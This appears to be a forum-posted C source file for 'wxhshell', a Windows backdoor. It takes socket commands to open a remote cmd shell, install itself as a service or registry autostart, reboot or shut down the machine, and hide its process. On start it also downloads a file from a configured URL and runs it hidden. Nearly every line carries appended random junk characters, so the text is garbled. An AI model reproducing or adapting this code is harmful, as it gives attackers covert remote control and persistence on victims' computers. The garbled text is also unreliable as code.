  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s>[vT?  
  } [ni-UNTv  
  else { %3#b6m~  
CNpCe-%&  
    switch(cmd[0]) { A5(kOtgiT  
  7`j|tb-  
  // 帮助 O&gy(   
  case '?': { P,s)2s'nZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6|>"0[4S  
    break; si+5h6I.}  
  } 55u^u F  
  // 安装 /9t*CEu\  
  case 'i': { D*<8e?F  
    if(Install()) dja9XWOg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \!? PhNv  
    else dUBVp 9PB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z. Ve#~\  
    break; q[We][Nrzb  
    } 2=/-d$  
  // 卸载 zmrX %!CW  
  case 'r': { Y6[]wUJ  
    if(Uninstall()) DU*Hnii  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m-&a~l  
    else (RI>aDG RH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lt#:R\;&  
    break; Bk@_]a  
    } A=@V LU4%  
  // 显示 wxhshell 所在路径 'RN"yMv7l  
  case 'p': { }&'yt97+  
    char svExeFile[MAX_PATH]; |\{J` 5gr  
    strcpy(svExeFile,"\n\r"); {/,+_E/  
      strcat(svExeFile,ExeFile); wE.@0  
        send(wsh,svExeFile,strlen(svExeFile),0); noD7G2o  
    break; o9(#KC?3  
    } 8tB{rK,  
  // 重启 NR@SDW  
  case 'b': { f(zuRM^5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >ZOZv  
    if(Boot(REBOOT)) ;9- 4J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 's%ct}y\J  
    else { f/|a?n2\hm  
    closesocket(wsh); }T^v7 LY  
    ExitThread(0); h;mQ%9 Yd  
    } rkER`  
    break; ek_i{'hFd  
    } d,E/9y\e  
  // 关机 kB!M[[t  
  case 'd': { aNh1e^j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ygu?w7  
    if(Boot(SHUTDOWN)) '~!l(&X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +&@l{x(,  
    else { RM / s :  
    closesocket(wsh); xf3/<x!B  
    ExitThread(0); jDkc~Wwa  
    } vzgudxG'z  
    break; pQ6t]DJ4  
    } PhaQ3%  
  // 获取shell %%H. &*i,  
  case 's': { itvy[b-*  
    CmdShell(wsh); 374_G?t&  
    closesocket(wsh); /ux#U]x  
    ExitThread(0); A&@jA5Jb  
    break; 8Gzs  
  } =z7 Ay  
  // 退出 n ;$}pg ~  
  case 'x': { v \L Ip  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #v]aT  ]}  
    CloseIt(wsh); Ts?>"@  
    break; 5w-G]b  
    } KfI$'F #"/  
  // 离开 3hpz.ISk  
  case 'q': { E t[QcB3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hgMnO J  
    closesocket(wsh); 1Y"y!\t7G  
    WSACleanup(); GCmVmOdKr  
    exit(1); *1 eTf  
    break; zz''FmedF  
        } -V)5Tr=  
  } ?f%DVK d  
  } $f@-3/V6{  
?&t|?@  
  // 提示信息 M<me\s)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y3F.hk}O  
} 41_sSqq;^  
  } Tx&qp#FS  
#._6lESK  
  return; X+G*Q}5  
} Vu8-Cy>Q?  
>ww1:Sn  
// shell模块句柄 R^w >aZ oJ  
int CmdShell(SOCKET sock) ?VHwYD.B  
{ >w2WyYJYH  
STARTUPINFO si; p9bxhnn|  
ZeroMemory(&si,sizeof(si)); B7^n30+L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h4xf%vA(;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jMN@x]6w  
PROCESS_INFORMATION ProcessInfo; ^bgm0,M  
char cmdline[]="cmd"; ROiX =i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0}3'h#33=  
  return 0; hdWp  
} '%/u103{e  
*/m~m?  
// 自身启动模式 2nz'/G  
int StartFromService(void) Q,+*u%/u  
{ Ih0> ]h-7  
typedef struct Z` Eb L  
{ Yoym5<xE  
  DWORD ExitStatus; T;e(Q,!H  
  DWORD PebBaseAddress; V$]a&wM<5  
  DWORD AffinityMask; (~yJce  
  DWORD BasePriority; Bd]DhPhJ  
  ULONG UniqueProcessId; C=f(NpyD6  
  ULONG InheritedFromUniqueProcessId; NNrZb?  
}   PROCESS_BASIC_INFORMATION; x@(f^P  
WYd,tGz  
PROCNTQSIP NtQueryInformationProcess; W}i$f -K  
#~qp8 w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {xx;zjt%}}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (N>ew)Ke  
GHrT?zEX  
  HANDLE             hProcess; _|#|mb4Fe  
  PROCESS_BASIC_INFORMATION pbi; \:^n-D*fX  
FbT&w4Um=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ].+G-<.:  
  if(NULL == hInst ) return 0; F n Rxc  
_ r)hr7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,,-3p#P bw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p{QKj3ov  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @(5RAYRV  
"k@/Z7=  
  if (!NtQueryInformationProcess) return 0; J A2}  
^bw~$*"j#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2\W<EWJ@  
  if(!hProcess) return 0; -5*;J&.  
^x#RUv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KTREOOu .t  
S~9kp?kR$  
  CloseHandle(hProcess); w3hL.Z,kV  
G+yz8@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B_G7F[/K  
if(hProcess==NULL) return 0; ZuV  
\) ONy9  
HMODULE hMod; !f2>6}hE  
char procName[255]; ]$*_2V3VA$  
unsigned long cbNeeded; D#AxgF_He  
Sk%|-T(d$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @"5u~o')@v  
<p8y'KAlc  
  CloseHandle(hProcess); cLF>Jvs*J  
J(*"S!q)6  
if(strstr(procName,"services")) return 1; // 以服务启动 jpS#'h  
VrP%4P+  
  return 0; // 注册表启动 oW9rl]+  
} gVWLY;c 3}  
QVhBHAw  
// 主模块 ,6)y4=8 L  
int StartWxhshell(LPSTR lpCmdLine) cjpl_}'L:  
{ spDRQ_qq  
  SOCKET wsl; HC}C_Q5c91  
BOOL val=TRUE; b%$C!Tq'  
  int port=0; |"*:ZSj  
  struct sockaddr_in door; No+zw%l0E  
$h f\ #'J  
  if(wscfg.ws_autoins) Install(); aDEP_b;  
 'Z}$V*  
port=atoi(lpCmdLine); HAdm,  
=ZL2 0<TeH  
if(port<=0) port=wscfg.ws_port; XV!EjD~q  
"61n?Z#,M[  
  WSADATA data; sZ$ ~abX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8=Ht+Br  
\OB3gnR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L4-Pq\2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y'R1\Go-  
  door.sin_family = AF_INET; 5jk4k c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .U {JI\  
  door.sin_port = htons(port); S-dV  
rrq-so1u}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'D{abm0  
closesocket(wsl); Q)8t;Kx  
return 1; 7 4UE-H)  
} XcneH jpR  
);LwWKa  
  if(listen(wsl,2) == INVALID_SOCKET) { PUArKBYM-  
closesocket(wsl); 1(a\$Di  
return 1; u' ][3  
} 2J <Z4Ap  
  Wxhshell(wsl); 14zzWzKx  
  WSACleanup(); ShxX[k  
osI(g'Xb  
return 0; ybkN^OEJ  
dy'?@Lj;  
} OkXOV   
HDxw2nz*R  
// 以NT服务方式启动 _FgeE`X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) djM=QafB:C  
{ "yk%/:G+  
DWORD   status = 0; 2 {0VyLx  
  DWORD   specificError = 0xfffffff; 06 1=pV$CJ  
QI<3N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WDR!e2G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nrS_t y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G}*B`m  
  serviceStatus.dwWin32ExitCode     = 0; :4d7%q  
  serviceStatus.dwServiceSpecificExitCode = 0; 6;DPGx  
  serviceStatus.dwCheckPoint       = 0; @TDcj~oR ?  
  serviceStatus.dwWaitHint       = 0; FT=>haN  
3dLz=.=)'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yFqC-t-i  
  if (hServiceStatusHandle==0) return; gw^+[}U#  
~E~J*R Ze  
status = GetLastError(); ^DOcw@Z6HC  
  if (status!=NO_ERROR) fZC,%p  
{ Y#,MFEd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,vj^AXU  
    serviceStatus.dwCheckPoint       = 0; /zKuVaC  
    serviceStatus.dwWaitHint       = 0; .S;/v--F  
    serviceStatus.dwWin32ExitCode     = status; 95/C4q  
    serviceStatus.dwServiceSpecificExitCode = specificError; V}?5=f'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DEhA8.v  
    return; CXA8V"@&b/  
  } I 3PnyNZ  
PHkvt!uH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "AVc^>  
  serviceStatus.dwCheckPoint       = 0; !T)>q%@ai  
  serviceStatus.dwWaitHint       = 0; YoA$Gw2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O&uOm:/(  
} Pe.D[]S  
We2=|AB  
// 处理NT服务事件,比如:启动、停止 ZWH`s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ns_d10rZ.  
{ U$}]zaB  
switch(fdwControl) w.\:I[  
{ th{h)( +H  
case SERVICE_CONTROL_STOP: vP!gLN]TV  
  serviceStatus.dwWin32ExitCode = 0; @U5o;X!qU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fx},.P=:*  
  serviceStatus.dwCheckPoint   = 0; 5l#)tX.by  
  serviceStatus.dwWaitHint     = 0; K"61i:F  
  { q!4dK4`#5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wu(GC]lTG  
  } E;N8{Ye_  
  return; F(9T;F  
case SERVICE_CONTROL_PAUSE: <Coh &g_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *0@e_h  
  break; `4MPXfoBL  
case SERVICE_CONTROL_CONTINUE: K""04Ew*pV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [@czvPi  
  break;  "d'@IN  
case SERVICE_CONTROL_INTERROGATE: >8Y >B)  
  break; B4C`3@a  
}; $Fj7'@1(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dj#<,e\  
} o <y7Ut  
.?qS8:yA  
// 标准应用程序主函数 c<=1,TB"-_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'E9jv4E$n  
{ 'JydaF~>  
!VW#hc \A5  
// 获取操作系统版本 ?`xId;}J#7  
OsIsNt=GetOsVer(); R0>L[1o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '@FKgy;B)-  
sx;1V{|g  
  // 从命令行安装 y< 84Gw_  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5o?bF3  
R= l/EK  
  // 下载执行文件 .gB*Y!c7  
if(wscfg.ws_downexe) { 9ccEF6o0=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VCIG+Gz  
  WinExec(wscfg.ws_filenam,SW_HIDE); DIY WFVh  
} s$Mj4_p3l  
YAO0>T<F  
if(!OsIsNt) { 97lwPjq  
// 如果时win9x,隐藏进程并且设置为注册表启动 :3k(=^%G!  
HideProc(); JW$#~"@r  
StartWxhshell(lpCmdLine); BmZd,}{  
} )9$Xfq/  
else ;]gph)2cd  
  if(StartFromService()) rv+"=g  
  // 以服务方式启动 Z`D#L[z$  
  StartServiceCtrlDispatcher(DispatchTable); UX6-{ RP  
else 28-@Ga4  
  // 普通方式启动 *k/_p ^  
  StartWxhshell(lpCmdLine); xGqZ8v`v  
Lt)t}0  
return 0; vCJjZ%eO%D  
}
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只看该作者 1 发表于: 2006-10-10
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